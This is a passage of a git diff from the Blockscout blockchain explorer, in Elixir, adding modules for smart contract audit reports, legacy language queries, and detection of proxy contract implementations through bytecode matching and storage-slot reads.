removed in the future releases. Afterward, the + language will be retrieved directly from the `language` field. Tracked in + [#11822](https://github.com/blockscout/blockscout/issues/11822). + + ## Parameters + + - `SmartContract.t()`: The smart contract. + + ## Returns + + - `language()`: An atom representing the language of the smart contract. + """ + @spec language(SmartContract.t()) :: language() + def language(smart_contract) do + cond do + not is_nil(smart_contract.language) -> + smart_contract.language + + smart_contract.is_vyper_contract -> + :vyper + + is_nil(smart_contract.abi) -> + :yul + + true -> + :solidity + end + end + + @spec format_constructor_arguments(list() | nil, binary() | nil) :: list() | nil + def format_constructor_arguments(abi, constructor_arguments) + when not is_nil(abi) and not is_nil(constructor_arguments) do + constructor_abi = Enum.find(abi, fn el -> el["type"] == "constructor" && el["inputs"] != [] end) + + input_types = Enum.map(constructor_abi["inputs"], &FunctionSelector.parse_specification_type/1) + + constructor_arguments + |> ExplorerHelper.decode_data(input_types) + |> Enum.zip(constructor_abi["inputs"]) + |> Enum.map(fn {value, %{"type" => type} = input_arg} -> + [DecodingHelper.value_json(type, value), input_arg] + end) + rescue + exception -> + Logger.warning(fn -> + [ + "Error formatting constructor arguments for abi: #{inspect(abi)}, args: #{inspect(constructor_arguments)}: ", + Exception.format(:error, exception) + ] + end) + + nil + end + + def format_constructor_arguments(_abi, _constructor_arguments), do: nil end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/audit_report.ex b/apps/explorer/lib/explorer/chain/smart_contract/audit_report.ex new file mode 100644 index 000000000000..f383540e49ea --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/audit_report.ex @@ -0,0 +1,136 @@ +defmodule Explorer.Chain.SmartContract.AuditReport do + @moduledoc """ + The representation of an audit report for a smart contract. + """ + + use Explorer.Schema + + alias Explorer.{Chain, Helper, Repo} + alias Explorer.Chain.Hash + alias Explorer.ThirdPartyIntegrations.AirTableAuditReport + + @max_reports_per_day_for_contract 5 + + typed_schema "smart_contract_audit_reports" do + field(:address_hash, Hash.Address, null: false) + field(:is_approved, :boolean) + field(:submitter_name, :string, null: false) + field(:submitter_email, :string, null: false) + field(:is_project_owner, :boolean, null: false) + field(:project_name, :string, null: false) + field(:project_url, :string, null: false) + field(:audit_company_name, :string, null: false) + field(:audit_report_url, :string, null: false) + field(:audit_publish_date, :date, null: false) + field(:request_id, :string) + field(:comment, :string) + + timestamps() + end + + @local_fields [:__meta__, :inserted_at, :updated_at, :id, :request_id] + + @doc """ + Returns a map representation of the request. Appends :chain to a resulting map + """ + @spec to_map(__MODULE__.t()) :: map() + def to_map(%__MODULE__{} = request) do + association_fields = request.__struct__.__schema__(:associations) + waste_fields = association_fields ++ @local_fields + + chain = + Helper.get_app_host() <> + Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:path] + + request |> Map.from_struct() |> Map.drop(waste_fields) |> Map.put(:chain, chain) + end + + @required_fields ~w(address_hash submitter_name submitter_email is_project_owner project_name project_url audit_company_name audit_report_url audit_publish_date)a + @optional_fields ~w(comment is_approved request_id)a + + @max_string_length 255 + @doc """ + Returns a changeset for audit_report. + """ + @spec changeset(struct(), map()) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = audit_report, attrs \\ %{}) do + audit_report + |> cast(attrs, @optional_fields ++ @required_fields) + |> validate_required(@required_fields, message: "Required") + |> validate_length(:submitter_email, max: @max_string_length) + |> validate_format(:submitter_email, ~r/^[A-Z0-9._%+-]+@[A-Z0-9-]+.+.[A-Z]{2,4}$/i, + message: "invalid email address" + ) + |> validate_format(:submitter_name, ~r/[a-zA-Z ]+/i, message: "only letters are allowed") + |> validate_length(:submitter_name, max: @max_string_length) + |> validate_length(:project_name, max: @max_string_length) + |> validate_length(:project_url, max: @max_string_length) + |> validate_length(:audit_company_name, max: @max_string_length) + |> validate_length(:audit_report_url, max: @max_string_length) + |> validate_change(:audit_publish_date, &past_date?/2) + |> validate_change(:audit_report_url, &valid_url?/2) + |> validate_change(:project_url, &valid_url?/2) + |> unique_constraint([:address_hash, :audit_report_url, :audit_publish_date, :audit_company_name], + message: "the report was submitted before", + name: :audit_report_unique_index + ) + |> validate_change(:address_hash, &limit_not_exceeded?/2) + end + + defp past_date?(field, date) do + if Date.compare(Date.utc_today(), date) == :lt do + [{field, "cannot be the future date"}] + else + [] + end + end + + defp valid_url?(field, url) do + if Helper.valid_url?(url) do + [] + else + [{field, "invalid url"}] + end + end + + defp limit_not_exceeded?(field, address_hash) do + if get_reports_count_by_day_for_address_hash_by_day(address_hash) >= @max_reports_per_day_for_contract do + [{field, "max #{@max_reports_per_day_for_contract} reports for address per day"}] + else + [] + end + end + + @doc """ + Insert a new audit report to DB. + """ + @spec create(map()) :: {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def create(attrs) do + %__MODULE__{} + |> changeset(attrs) + |> AirTableAuditReport.submit() + |> Repo.insert() + end + + defp get_reports_count_by_day_for_address_hash_by_day(address_hash) do + __MODULE__ + |> where( + [ar], + ar.address_hash == ^address_hash and + fragment("NOW() - ? at time zone 'UTC' <= interval '24 hours'", ar.inserted_at) + ) + |> limit(@max_reports_per_day_for_contract) + |> Repo.aggregate(:count) + end + + @doc """ + Returns a list of audit reports by smart contract address hash. + """ + @spec get_audit_reports_by_smart_contract_address_hash(Hash.Address.t(), keyword()) :: [__MODULE__.t()] + def get_audit_reports_by_smart_contract_address_hash(address_hash, options \\ []) do + __MODULE__ + |> where([ar], ar.address_hash == ^address_hash) + |> where([ar], ar.is_approved == true) + |> Chain.select_repo(options).all() + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/external_library.ex b/apps/explorer/lib/explorer/chain/smart_contract/external_library.ex index ac52388de5bd..62aeb99b7115 100644 --- a/apps/explorer/lib/explorer/chain/smart_contract/external_library.ex +++ b/apps/explorer/lib/explorer/chain/smart_contract/external_library.ex @@ -3,9 +3,9 @@ defmodule Explorer.Chain.SmartContract.ExternalLibrary do The representation of an external library that was used for a smart contract. """ - use Ecto.Schema + use Explorer.Schema - embedded_schema do + typed_embedded_schema do field(:name) field(:address_hash) end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/legacy_helper.ex b/apps/explorer/lib/explorer/chain/smart_contract/legacy_helper.ex new file mode 100644 index 000000000000..26e54602bf7e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/legacy_helper.ex @@ -0,0 +1,112 @@ +defmodule Explorer.Chain.SmartContract.LegacyHelper do + @moduledoc """ + Legacy functions for SmartContract verification during database migration. + + This module contains legacy query functions that are used as a fallback during + the migration period when the `language` field is being populated in the + smart_contracts table. These functions maintain compatibility with + pre-migration behavior by checking both the new `language` field and the + legacy boolean flags like `is_vyper_contract`. + + All functions in this module are temporary and will be removed after the + following migrations are complete: + - smart_contract_language background migration + - sanitize_verified_addresses background migration + - heavy_indexes_create_smart_contracts_language_index migration + + Related to issue: https://github.com/blockscout/blockscout/issues/11822 + """ + + import Ecto.Query + alias Explorer.Chain.{Address, SmartContract} + + @doc """ + Legacy query for verified addresses using join-based filtering. + + This approach is less performant than using lateral joins but is required + during the migration period when indexes are being created and language fields + populated. + """ + @spec verified_addresses_query(keyword()) :: Ecto.Query.t() + def verified_addresses_query(options) do + filter = Keyword.get(options, :filter, nil) + search_string = Keyword.get(options, :search, nil) + + addresses_query = + from( + address in Address, + join: contract in SmartContract, + as: :smart_contract, + on: address.hash == contract.address_hash, + preload: [:smart_contract] + ) + + addresses_query + |> filter_contracts_for_join(filter) + |> search_contracts_for_join(search_string) + end + + # Applies language filter to the query with legacy compatibility. Works with + # join-based queries where contract is the second binding. + @spec filter_contracts_for_join(Ecto.Query.t(), atom() | nil) :: Ecto.Query.t() + defp filter_contracts_for_join(query, nil), do: query + + defp filter_contracts_for_join(query, language) do + query + |> where([_address, contract], contract.language == ^language) + |> maybe_filter_contracts_on_legacy_fields_for_join(language) + end + + # Conditionally applies legacy filtering based on migration status. + # + # Checks if the smart_contract_language migration is complete before + # deciding whether to apply legacy filtering. + @spec maybe_filter_contracts_on_legacy_fields_for_join(Ecto.Query.t(), atom()) :: Ecto.Query.t() + defp maybe_filter_contracts_on_legacy_fields_for_join(query, language) do + alias Explorer.Chain.Cache.BackgroundMigrations + + if BackgroundMigrations.get_smart_contract_language_finished() do + query + else + apply_legacy_language_filter_for_join(query, language) + end + end + + # Applies language-specific filtering for legacy fields. + # + # This function maintains backward compatibility during migration + # by checking boolean flags that were previously used to determine + # contract language before the dedicated field was introduced. + @spec apply_legacy_language_filter_for_join(Ecto.Query.t(), atom()) :: Ecto.Query.t() + defp apply_legacy_language_filter_for_join(query, :solidity) do + query + |> or_where( + [_address, contract], + not contract.is_vyper_contract and not is_nil(contract.abi) and is_nil(contract.language) + ) + end + + defp apply_legacy_language_filter_for_join(query, :vyper) do + query |> or_where([_address, contract], contract.is_vyper_contract and is_nil(contract.language)) + end + + defp apply_legacy_language_filter_for_join(query, :yul) do + query |> or_where([_address, contract], is_nil(contract.abi) and is_nil(contract.language)) + end + + defp apply_legacy_language_filter_for_join(query, _), do: query + + # Applies search filter to the query with join-based approach. + # + # Searches in both contract name and address hash fields. + @spec search_contracts_for_join(Ecto.Query.t(), String.t() | nil) :: Ecto.Query.t() + defp search_contracts_for_join(query, nil), do: query + + defp search_contracts_for_join(query, search_string) do + from([_address, contract] in query, + where: + ilike(contract.name, ^"%#{search_string}%") or + ilike(fragment("'0x' || encode(?, 'hex')", contract.address_hash), ^"%#{search_string}%") + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy.ex new file mode 100644 index 000000000000..2795f569659b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy.ex @@ -0,0 +1,504 @@ +defmodule Explorer.Chain.SmartContract.Proxy do + @moduledoc """ + Module for proxy smart-contract implementation detection + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + require Logger + + import EthereumJSONRPC, only: [id_to_params: 1, json_rpc: 2] + + alias EthereumJSONRPC.Contract + alias Explorer.Chain.{Address, Data, Hash, SmartContract} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + alias Explorer.Chain.SmartContract.Proxy.{ + BasicImplementationGetter, + CloneWithImmutableArguments, + EIP1167, + EIP1822, + EIP1967, + EIP2535, + EIP7702, + ERC7760, + MasterCopy, + ResolvedDelegateProxy + } + + import Explorer.Chain, + only: [ + join_associations: 2, + select_repo: 1 + ] + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, + only: [ + get_implementation: 2, + get_proxy_implementations: 1, + save_implementation_data: 2 + ] + + @proxy_resolvers [ + # bytecode-matching proxy types + {EIP1167, :eip1167}, + {EIP7702, :eip7702}, + {MasterCopy, :master_copy}, + {ERC7760, :erc7760}, + {CloneWithImmutableArguments, :clone_with_immutable_arguments}, + {ResolvedDelegateProxy, :resolved_delegate_proxy}, + + # generic proxy types + {EIP1967, :eip1967}, + {EIP1822, :eip1822}, + {EIP1967, :eip1967_beacon}, + {EIP2535, :eip2535}, + {EIP1967, :eip1967_oz}, + {BasicImplementationGetter, :basic_implementation}, + {BasicImplementationGetter, :basic_get_implementation}, + {BasicImplementationGetter, :comptroller} + ] + + @zero_address_hash_string "0x0000000000000000000000000000000000000000" + @zero_bytes32_string "0x0000000000000000000000000000000000000000000000000000000000000000" + + @type options :: [{:api?, true | false}] + + @spec zero_hex_string?(any()) :: boolean() + defp zero_hex_string?(term), do: term in ["0x", "0x0", @zero_address_hash_string, @zero_bytes32_string] + + @doc """ + Fetches into DB proxy contract implementation's address and name from different proxy patterns + """ + @spec fetch_implementation_address_hash(Hash.Address.t() | nil, options()) :: Implementation.t() | :empty | :error + def fetch_implementation_address_hash(proxy_address_hash, options) + when not is_nil(proxy_address_hash) do + proxy_address = Address.get(proxy_address_hash, options) + + case try_to_get_implementation_from_known_proxy_patterns(proxy_address) do + :empty -> :empty + :error -> :error + proxy_implementations -> save_implementation_data(proxy_implementations, options) + end + end + + def fetch_implementation_address_hash(_, _) do + :empty + end + + @doc """ + Checks if smart-contract is proxy. Returns true/false. + """ + @spec proxy_contract?(SmartContract.t(), Keyword.t()) :: boolean() + def proxy_contract?(smart_contract, options \\ []) do + proxy_implementations = get_proxy_implementations(smart_contract.address_hash) + + if !is_nil(proxy_implementations) and !Enum.empty?(proxy_implementations.address_hashes) do + true + else + implementation = get_implementation(smart_contract, options) + + !is_nil(implementation) and !Enum.empty?(implementation.address_hashes) + end + end + + @doc """ + Gets implementation ABI for given proxy smart-contract + """ + @spec get_implementation_abi_from_proxy(any(), any()) :: [map()] + def get_implementation_abi_from_proxy( + %SmartContract{address_hash: proxy_address_hash, abi: abi} = smart_contract, + options + ) + when not is_nil(proxy_address_hash) and not is_nil(abi) do + implementation = get_implementation(smart_contract, options) + + ((implementation && implementation.address_hashes) || + []) + |> Enum.reduce([], fn implementation_address_hash, acc -> + SmartContract.get_abi(implementation_address_hash) ++ acc + end) + end + + def get_implementation_abi_from_proxy(_, _), do: [] + + @doc """ + Tries to get implementation address from known proxy patterns + + ## Parameters + - `proxy_address`: The address to try to detect implementations for. + + ## Returns + - Pre-filled `proxy_implementations` if the result should be saved to the database. + - `:error` if the implementation detection failed, nothing should be saved to the database. + - `:empty` if the address is empty or not a smart contract, nothing should be saved to the database. + """ + @spec try_to_get_implementation_from_known_proxy_patterns(Address.t()) :: + %{ + proxy_address_hash: Hash.Address.t(), + address_hashes: [Hash.Address.t()], + proxy_type: atom() | nil, + conflicting_proxy_types: [atom()] | nil, + conflicting_address_hashes: [[Hash.Address.t()]] | nil + } + | :error + | :empty + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def try_to_get_implementation_from_known_proxy_patterns(proxy_address) do + with true <- Address.smart_contract?(proxy_address), + # first, we try to immediately resolve proxy types by matching bytecodes, + # while collecting fetch requirements for all other proxy types + resolvers_and_requirements when is_list(resolvers_and_requirements) <- + Enum.reduce_while(@proxy_resolvers, [], fn {module, proxy_type}, acc -> + case module.quick_resolve_implementations(proxy_address, proxy_type) do + {:ok, address_hashes} -> + filtered_address_hashes = address_hashes |> Enum.reject(&(&1 == proxy_address.hash)) + + if Enum.empty?(filtered_address_hashes) do + {:halt, + %{ + proxy_address_hash: proxy_address.hash, + address_hashes: [] + }} + else + {:halt, + %{ + proxy_address_hash: proxy_address.hash, + address_hashes: filtered_address_hashes, + proxy_type: proxy_type + }} + end + + {:cont, requirements} -> + {:cont, [{{module, proxy_type}, requirements} | acc]} + + :error -> + Logger.error( + "Failed to quick resolve implementations for proxy address #{proxy_address.hash} and proxy type #{proxy_type}" + ) + + {:halt, :error} + + _ -> + {:cont, acc} + end + end), + # didn't match any known bytecode pattern, proceed with fetching required values + {:ok, resolvers_and_fetched_values} <- + resolvers_and_requirements + |> Enum.reverse() + |> prefetch_values(proxy_address.hash), + generic_results when is_list(generic_results) <- + Enum.reduce_while(resolvers_and_fetched_values, [], fn {{module, proxy_type}, values}, acc -> + case module.resolve_implementations(proxy_address, proxy_type, values) do + {:ok, implementation_address_hashes} -> + filtered_address_hashes = implementation_address_hashes |> Enum.reject(&(&1 == proxy_address.hash)) + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if Enum.empty?(filtered_address_hashes) do + {:cont, acc} + else + {:cont, [{proxy_type, filtered_address_hashes} | acc]} + end + + :error -> + Logger.error( + "Failed to resolve implementations for proxy address #{proxy_address.hash} and proxy type #{proxy_type}" + ) + + {:halt, :error} + + _ -> + {:cont, acc} + end + end) do + {address_hashes, proxy_type, conflicting_proxy_types, conflicting_address_hashes} = + case Enum.reverse(generic_results) do + [] -> + {[], nil, nil, nil} + + [{proxy_type, address_hashes}] -> + {address_hashes, proxy_type, nil, nil} + + [{proxy_type, address_hashes} | rest] -> + address_hashes_sorted = address_hashes |> Enum.sort() + + if Enum.all?(rest, &(&1 |> elem(1) |> Enum.sort() == address_hashes_sorted)) do + {address_hashes, proxy_type, nil, nil} + else + {conflicting_proxy_types, conflicting_address_hashes} = Enum.unzip(rest) + {address_hashes, proxy_type, conflicting_proxy_types, conflicting_address_hashes} + end + end + + %{ + proxy_address_hash: proxy_address.hash, + address_hashes: address_hashes, + proxy_type: proxy_type, + conflicting_proxy_types: conflicting_proxy_types, + conflicting_address_hashes: conflicting_address_hashes + } + else + %{proxy_type: _} = result -> result + :error -> :error + _ -> :empty + end + end + + @doc """ + Fetches all required eth_getStorageAt and eth_call results for given proxy resolvers and requirements. + + ## Parameters + - `resolvers_and_requirements`: The list of proxy resolvers and their requirements. + - `address_hash`: The address hash to fetch the values for. + + ## Returns + - `{:ok, [{any(), ResolverBehaviour.fetched_values()}]}` if all of the values are fetched successfully, + map can contain nil values for failed/reverted eth_call requests. + - `:error` if the prefetching failed. + """ + @spec prefetch_values([{any(), ResolverBehaviour.fetch_requirements()}], Hash.Address.t()) :: + {:ok, [{any(), ResolverBehaviour.fetched_values()}]} | :error + def prefetch_values(resolvers_and_requirements, address_hash) do + with {:ok, fetched_values} <- + resolvers_and_requirements + |> Enum.flat_map(fn {_, reqs} -> Map.values(reqs) end) + |> fetch_values(address_hash), + resolvers_and_fetched_values when is_list(resolvers_and_fetched_values) <- + Enum.reduce_while(resolvers_and_requirements, [], fn {resolver, reqs}, acc -> + values = Enum.into(reqs, %{}, fn {name, req} -> {name, Map.get(fetched_values, req, :error)} end) + + if Enum.any?(values, &(elem(&1, 1) == :error)) do + {:halt, :error} + else + {:cont, [{resolver, values} | acc]} + end + end) do + {:ok, Enum.reverse(resolvers_and_fetched_values)} + end + end + + @doc """ + Fetches values for given eth_getStorageAt and eth_call requirements for a given address hash. + + ## Parameters + - `reqs`: The list of eth_getStorageAt and eth_call requirements to fetch the values for. + - `address_hash`: The address hash to fetch the values for. + + ## Returns + - `{:ok, prefetched_values()}` if all of the values are fetched successfully, + map can contain nil values for failed/reverted eth_call requests. + - `:error` if the prefetching failed. + """ + @spec fetch_values([ResolverBehaviour.fetch_requirement()], Hash.Address.t()) :: + {:ok, %{ResolverBehaviour.fetch_requirement() => String.t() | nil}} | :error + def fetch_values(reqs, address_hash) do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + id_to_params = id_to_params(reqs) + + with {:ok, responses} <- + id_to_params + |> Enum.map(fn {index, req} -> encode_request(req, address_hash, index) end) + |> json_rpc(json_rpc_named_arguments), + fetched_values when is_map(fetched_values) <- + Enum.reduce_while(responses, %{}, fn result, acc -> + with %{id: id} <- result, + {:ok, req} = Map.fetch(id_to_params, id), + {:ok, value} <- handle_response(req, result) do + {:cont, Map.put(acc, req, value)} + else + _ -> + {:halt, :error} + end + end) do + {:ok, fetched_values} + else + _ -> :error + end + end + + @doc """ + Fetches value for the given eth_getStorageAt or eth_call request for a given address hash. + + The eth_call request is allowed to fail/revert, nil will be returned in such case. + + ## Parameters + - `req`: The eth_getStorageAt or eth_call request to fetch the value for. + - `address_hash`: The address hash to fetch the value for. + + ## Returns + - `{:ok, String.t() | nil}` if the value is fetched successfully. + - `:error` if the fetch request failed. + """ + @spec fetch_value(ResolverBehaviour.fetch_requirement(), Hash.Address.t()) :: {:ok, String.t() | nil} | :error + def fetch_value(req, address_hash) do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + case req |> encode_request(address_hash, 0) |> json_rpc(json_rpc_named_arguments) do + {:ok, response} -> handle_response(req, %{result: response}) + {:error, error} -> handle_response(req, %{error: error}) + end + end + + defp encode_request({:storage, value}, address_hash, index), + do: Contract.eth_get_storage_at_request(to_string(address_hash), value, index) + + defp encode_request({:call, value}, address_hash, index), + do: Contract.eth_call_request(value, to_string(address_hash), index, nil, nil) + + defp handle_response({:storage, _}, %{result: result}) when is_binary(result), do: {:ok, result} + defp handle_response({:call, _}, %{result: result}) when is_binary(result), do: {:ok, result} + # TODO: it'll be better to return nil only for the revert-related errors + defp handle_response({:call, _}, %{error: _}), do: {:ok, nil} + defp handle_response(_, _), do: :error + + @doc """ + Returns combined ABI from proxy and implementation smart-contracts + """ + @spec combine_proxy_implementation_abi(any(), any()) :: SmartContract.abi() + def combine_proxy_implementation_abi( + smart_contract, + options \\ [] + ) do + proxy_abi = (smart_contract && smart_contract.abi) || [] + implementation_abi = Proxy.get_implementation_abi_from_proxy(smart_contract, options) + + proxy_abi ++ implementation_abi + end + + @doc """ + Decodes non-zero address hash from raw smart-contract hex response + """ + @spec extract_address_hash(String.t() | nil) :: {:ok, Hash.Address.t()} | :error | nil + def extract_address_hash(value) do + with false <- is_nil(value), + false <- zero_hex_string?(value), + {:ok, %Data{bytes: bytes}} <- Data.cast(value), + false <- byte_size(bytes) > 32 do + Hash.Address.cast((<<0::160>> <> bytes) |> binary_slice(-20, 20)) + else + :error -> :error + _ -> nil + end + end + + @doc """ + implementation address hash to SmartContract + """ + @spec implementation_to_smart_contract(nil | Hash.Address.t(), Keyword.t()) :: nil | SmartContract.t() + def implementation_to_smart_contract(nil, _options), do: nil + + def implementation_to_smart_contract(address_hash, options) do + necessity_by_association = %{ + :smart_contract_additional_sources => :optional + } + + address_hash + |> SmartContract.get_by_address_hash_query() + |> join_associations(necessity_by_association) + |> select_repo(options).one(timeout: 10_000) + end + + @doc """ + Retrieves formatted proxy implementation objects with addresses and names. + + ## Parameters + + * `proxy_implementation` - An `Implementation.t()` struct. + + ## Returns + + A list of maps containing information about the proxy implementations. + + """ + @spec proxy_object_info(Implementation.t() | nil) :: [map()] + def proxy_object_info(nil), do: [] + + def proxy_object_info(proxy_implementation) do + implementations_info = prepare_implementations(proxy_implementation.addresses) + implementation_addresses = proxy_implementation.address_hashes + implementation_names = proxy_implementation.names + + implementation_addresses + |> Enum.zip(implementation_names) + |> Enum.map(fn {address_hash, name} -> + %{ + "address_hash" => Address.checksum(address_hash), + "name" => name + } + |> chain_type_fields(implementations_info) + end) + end + + if @chain_type == :filecoin do + def chain_type_fields(%{"address_hash" => address_hash} = address, implementations_info) do + Map.put(address, "filecoin_robust_address", implementations_info[address_hash]) + end + + def prepare_implementations(addresses) when is_list(addresses) do + Enum.into(addresses, %{}, fn address -> {Address.checksum(address.hash), address.filecoin_robust} end) + end + + def prepare_implementations(_) do + %{} + end + else + def chain_type_fields(address, _proxy_implementations) do + address + end + + def prepare_implementations(_implementations_info) do + :ignore + end + end + + @doc """ + Returns conflicting implementations info for a given proxy implementation. + + ## Parameters + + * `proxy_implementation` - An `Implementation.t()` struct. + + ## Returns + + A list of maps containing information about the conflicting proxy implementations, if more than 1 proxy type is present. + + """ + @spec conflicting_implementations_info(Implementation.t() | nil) :: [map()] | nil + def conflicting_implementations_info( + %{ + proxy_type: proxy_type, + conflicting_proxy_types: conflicting_proxy_types, + conflicting_address_hashes: conflicting_address_hashes + } = proxy_implementation + ) + when not is_nil(proxy_type) and is_list(conflicting_proxy_types) and is_list(conflicting_address_hashes) do + implementations_info = prepare_implementations(proxy_implementation.conflicting_addresses) + + conflicting_implementations = + conflicting_proxy_types + |> Enum.zip(conflicting_address_hashes) + |> Enum.map(fn {proxy_type, address_hashes} -> + %{ + "proxy_type" => proxy_type, + "implementations" => + Enum.map( + address_hashes, + &(%{"address_hash" => Address.checksum(&1)} |> chain_type_fields(implementations_info)) + ) + } + end) + + [ + %{ + "proxy_type" => proxy_type, + "implementations" => proxy_object_info(proxy_implementation) + } + | conflicting_implementations + ] + end + + def conflicting_implementations_info(_proxy_implementation), do: nil +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/basic_implementation_getter.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/basic_implementation_getter.ex new file mode 100644 index 000000000000..0e8ab7c0d8d6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/basic_implementation_getter.ex @@ -0,0 +1,47 @@ +defmodule Explorer.Chain.SmartContract.Proxy.BasicImplementationGetter do + @moduledoc """ + Module for fetching proxy implementation from public smart-contract method + """ + + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + # 0x5c60da1b = keccak256(implementation()) + @implementation_signature <<0x5C60DA1B::4-unit(8)>> + # 0xaaf10f42 = keccak256(getImplementation()) + @get_implementation_signature <<0xAAF10F42::4-unit(8)>> + # 0xbb82aa5e = keccak256(comptrollerImplementation()) + @comptroller_implementation_signature <<0xBB82AA5E::4-unit(8)>> + + def quick_resolve_implementations(address, proxy_type) do + signature = + case proxy_type do + :basic_implementation -> @implementation_signature + :basic_get_implementation -> @get_implementation_signature + :comptroller -> @comptroller_implementation_signature + _ -> nil + end + + # don't resolve implementations if the bytecode doesn't contain function selector in it + if signature && address.contract_code && :binary.match(address.contract_code.bytes, signature) != :nomatch do + {:cont, + %{ + implementation_getter: {:call, "0x" <> Base.encode16(signature, case: :lower)} + }} + else + nil + end + end + + def resolve_implementations(_proxy_address, _proxy_type, prefetched_values) do + with {:ok, value} <- Map.fetch(prefetched_values, :implementation_getter), + {:ok, address_hash} <- Proxy.extract_address_hash(value) do + {:ok, [address_hash]} + else + :error -> :error + _ -> nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/clone_with_immutable_arguments.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/clone_with_immutable_arguments.ex new file mode 100644 index 000000000000..bb202bd383d9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/clone_with_immutable_arguments.ex @@ -0,0 +1,22 @@ +defmodule Explorer.Chain.SmartContract.Proxy.CloneWithImmutableArguments do + @moduledoc """ + Module for fetching proxy implementation from https://github.com/wighawag/clones-with-immutable-args + """ + + alias Explorer.Chain.Hash + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + def quick_resolve_implementations(proxy_address, _proxy_type) do + case proxy_address.contract_code && proxy_address.contract_code.bytes do + <<0x3D3D3D3D363D3D3761::9-unit(8), _::2-bytes, 0x603736393661::6-unit(8), _::2-bytes, 0x013D73::3-unit(8), + template_address::20-bytes, _::binary>> -> + {:ok, template_address_hash} = Hash.Address.cast(template_address) + {:ok, [template_address_hash]} + + _ -> + nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1167.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1167.ex new file mode 100644 index 000000000000..af71b0b783f1 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1167.ex @@ -0,0 +1,40 @@ +defmodule Explorer.Chain.SmartContract.Proxy.EIP1167 do + @moduledoc """ + Module for fetching proxy implementation from https://eips.ethereum.org/EIPS/eip-1167 (Minimal Proxy Contract) + """ + + alias Explorer.Chain + alias Explorer.Chain.{Address, Hash, SmartContract} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + def quick_resolve_implementations(proxy_address, _proxy_type) do + case proxy_address.contract_code && proxy_address.contract_code.bytes do + <<0x363D3D373D3D3D363D73::10-unit(8), template_address::20-bytes, 0x5AF43D82803E903D91602B57FD5BF3::15-unit(8)>> -> + {:ok, template_address_hash} = Hash.Address.cast(template_address) + {:ok, [template_address_hash]} + + <<0x3D3D3D3D363D3D37363D73::11-unit(8), template_address::20-bytes, 0x5AF43D3D93803E602A57FD5BF3::13-unit(8)>> -> + {:ok, template_address_hash} = Hash.Address.cast(template_address) + {:ok, [template_address_hash]} + + _ -> + nil + end + end + + @doc """ + Get implementation address following EIP-1167. It is used in old UI. + """ + @spec get_implementation_smart_contract(Hash.Address.t(), Keyword.t()) :: SmartContract.t() | nil + def get_implementation_smart_contract(address_hash, options \\ []) do + address = Chain.select_repo(options).get(Address, address_hash) + + case address && quick_resolve_implementations(address, :eip1167) do + {:ok, [address_hash]} -> Proxy.implementation_to_smart_contract(address_hash, options) + _ -> nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1822.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1822.ex new file mode 100644 index 000000000000..0649eb723505 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1822.ex @@ -0,0 +1,30 @@ +defmodule Explorer.Chain.SmartContract.Proxy.EIP1822 do + @moduledoc """ + Module for fetching proxy implementation from https://eips.ethereum.org/EIPS/eip-1822 Universal Upgradeable Proxy Standard (UUPS) + """ + + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + # keccak256("PROXIABLE") + @storage_slot_proxiable "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" + + def quick_resolve_implementations(_proxy_address, _proxy_type), + do: + {:cont, + %{ + implementation_slot: {:storage, @storage_slot_proxiable} + }} + + def resolve_implementations(_proxy_address, _proxy_type, prefetched_values) do + with {:ok, value} <- Map.fetch(prefetched_values, :implementation_slot), + {:ok, address_hash} <- Proxy.extract_address_hash(value) do + {:ok, [address_hash]} + else + :error -> :error + _ -> nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1967.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1967.ex new file mode 100644 index 000000000000..001b078e1898 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_1967.ex @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.SmartContract.Proxy.EIP1967 do + @moduledoc """ + Module for fetching proxy implementation from https://eips.ethereum.org/EIPS/eip-1967 (Proxy Storage Slots) + """ + alias 